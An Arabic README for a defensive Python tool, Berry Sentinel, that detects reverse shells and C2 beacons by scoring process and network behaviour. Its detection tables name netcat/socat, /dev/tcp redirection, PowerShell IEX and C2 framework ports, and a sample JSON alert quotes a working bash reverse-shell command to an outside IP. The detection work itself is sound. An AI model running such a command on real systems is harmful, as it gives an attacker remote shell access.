
Berry Sentinel v5.0 — كاشف سلوكي متقدم لـ C2 و reverse shell لأنظمة Linux/Windows/Unix. يتميز بتحليل اتصال في الوقت الفعلي، heuristic scoring، كشف تواقيع إطار C2، beacon interval analysis، وواجهة TUI تفاعلية مبنية على curses مع process kill engine.
كاشف سلوكي لاتصالات C2 (القيادة والتحكم) في الوقت الحقيقي
بدون توقيع · تحصين متقدم · مسح عميق · محرك إيقاف
يقوم Berry Sentinel بمراقبة جميع اتصالات الشبكة النشطة في نظامك وتحليل سلوك العمليات التي تولدها للكشف عن النشاط الضار — دون استخدام قواعد بيانات توقيعات مضادات الفيروسات أو قوائم عناوين IP المحظورة.
يكشف عن الصدف العكسي (reverse shells)، وصدف الويب (webshells)، وأدوات التحكم عن بعد (RATs)، وإشارات C2، وأطر العمل مثل Meterpreter وCobalt Strike وSliver وEmpire من خلال ملاحظة كيفية تصرف العملية: إذا كان مترجم Python لديه stdin متصلًا بمقبس بعيد، فهذا مشبوه حتى لو كان عنوان IP غير معروف.
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — كاشف سلوكي لـ C2 · واجهة TUI تفاعلية ║
║ الاتصالات: 38 │ التهديدات: 2 │ التوقيعات: 1 │ عبر proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC REMOTE الحالة التوقيعات/العلامات ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █حاسمة 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲عالية 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil اختياري لتغطية إضافية# استنساخ المستودع
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (اختياري لكن موصى به) تثبيت psutil
pip install psutil
# التشغيل
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # قد لا يكون curses متاحًا في Termux
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [خيارات]
الخيارات:
--all, -a تضمين الاتصالات المحلية/الاسترجاعية (بالإضافة إلى البعيدة)
--interval N, -i N التحديث كل N ثانية (الافتراضي: 2، الحد الأدنى: 0.5)
--log FILE, -l FILE حفظ التنبيهات في ملف (تنسيق JSONL)
--json, -j تصدير JSON كامل عند الخروج
--whitelist LIST عناوين IP أو CIDR لتجاهلها، مفصولة بفواصل
--no-color بدون ألوان ANSI (مفيد للأنابيب أو السجلات)
--verbose, -v إظهار جميع الاتصالات، وليس فقط المشبوهة
--top N, -t N الحد الأقصى لعدد الصفوف في الجدول (الافتراضي: 50)
--diag, -d تشخيص: يظهر أي طرق الجمع تعمل
--no-tui وضع قديم بدون curses (تمرير كلاسيكي، أكثر قابلية للنقل)
--version, -V إظهار الإصدار والخروج
# واجهة TUI تفاعلية — الوضع الموصى به
python3 BerrySentinel.py
# مسح عميق مع صلاحيات الجذر (الوصول إلى ذاكرة العمليات)
sudo python3 BerrySentinel.py --all
# حفظ التنبيهات وتصدير JSON عند الانتهاء
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# تجاهل الشبكة الداخلية والتحديث كل 5 ثوانٍ
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# وضع النص لاستخدامه في البرامج النصية أو عبر SSH بدون محطة تفاعلية
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# عرض طرق الجمع التي تعمل على النظام الحالي
python3 BerrySentinel.py --diag --no-tui
# فقط التنبيهات الخطيرة، تحديث كل 10 ثوانٍ، حفظ السجل
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
| المفتاح | الإجراء |
|---|---|
↑ / ↓ | التنقل بين الاتصالات |
d / D | عرض لوحة تفاصيل الاتصال المحدد |
k / K | إنهاء العملية (يطلب تأكيد PID) |
f / F | تدوير مرشح الشدة: ALL → MEDIUM → HIGH → CRITICAL |
r | فرض تحديث فوري |
ESC | إغلاق لوحة التفاصيل أو إلغاء العملية |
q | خروج |
يحصل كل اتصال على درجة من 0 إلى 100 بناءً على المؤشرات المكتشفة:
| المؤشر | النقاط | العلامة |
|---|---|---|
| stdin/stdout → مقبس | +55 | FD→SOCK |
| صدفة ثنائية مع اتصال عن بعد | +40 | SHELL→NET |
| صدفة ويب (shell كابن لـ Apache/Nginx) | +35 | WEBSHELL |
| صدفة ربط (bind shell) على منفذ عالٍ | +35 | BIND-SHELL |
| استخدام netcat/socat | +35 | NETCAT |
إعادة توجيه /dev/tcp أو mkfifo | +40 | PIPE-REDIR |
| ملف تنفيذي محذوف من القرص | +25 | EXE-DEL! |
ملف تنفيذي في /tmp أو /dev/shm | +15 | EXE-TMP |
| كشف إشارة (beacon) (اتصال دوري) | +25×conf | BCN(60s) |
| توقيع Meterpreter | +55 | SIG:Meterpreter |
| توقيع Cobalt Strike | +60 | SIG:CobaltStrike |
| توقيع Sliver | +58 | SIG:Sliver |
| مناطق ذاكرة RWX | +20 | RWX(N) |
| LD_PRELOAD أو HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| مترجم نصوص متصل | +25 | INTERP→NET |
| eval/exec في سطر الأوامر | +18 | EVAL |
| PowerShell عن بعد (IEX, DownloadString) | +30 | PS-REM |
الشدة حسب الدرجة:
| الدرجة | الشدة | اللون |
|---|---|---|
| ≥ 65 | حرجة | 🔴 أحمر ساطع |
| ≥ 45 | عالية | 🟠 برتقالي |
| ≥ 25 | متوسطة | 🟡 أصفر |
| ≥ 8 | منخفضة | 🔵 سماوي |
| < 8 | معلوماتية | ⚪ رمادي |
يتضمن Berry Sentinel توقيعات لأطر العمل التالية (التقييم بناءً على المنافذ، اسم العملية، سطر الأوامر، وأنماط الإشارات):
| الإطار | مكافأة النقاط | المؤشرات الرئيسية |
|---|---|---|
| Meterpreter | +55 | المنفذ 4444، العملية ruby/msfconsole |
| Cobalt Strike | +60 | المنفذ 50050، إشارة ~60s، العملية java |
| Sliver | +58 | المنفذ 31337/8888، إشارة ~60s |
| Empire | +55 | المنفذ 1234/7777، PowerShell -enc |
| Brute Ratel | +62 | المنفذ 2083، العملية badger |
| Havoc | +58 | المنفذ 40056، demon.x64/x86 |
| Pupy RAT | +52 | المنفذ 9999، pupy.py |
| Merlin | +54 | المنفذ 8443، merlin-agent |
| Covenant | +54 | المنفذ 7443، GruntHTTP |
| PoshC2 | +52 | FComServer، ImplantCore |
| Mythic | +56 | المنفذ 7443، poseidon/apfell |
| QuasarRAT | +50 | المنافذ 4782-4785 |
| NetcatShell | +45 | socat exec bash، pty |
| DNS-C2 | +40 | المنفذ 53، dnscat/iodine |
يتم تسجيل كل تنبيه كسطر JSON مستقل:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRITICAL",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
المعالجة باستخدام jq:
# تصفية الاتصالات الحرجة فقط
jq 'select(.sev == "CRITICAL")' sentinel.log
# عرض جميع PIDs المشبوهة
jq '[.pid] | unique' sentinel_export.json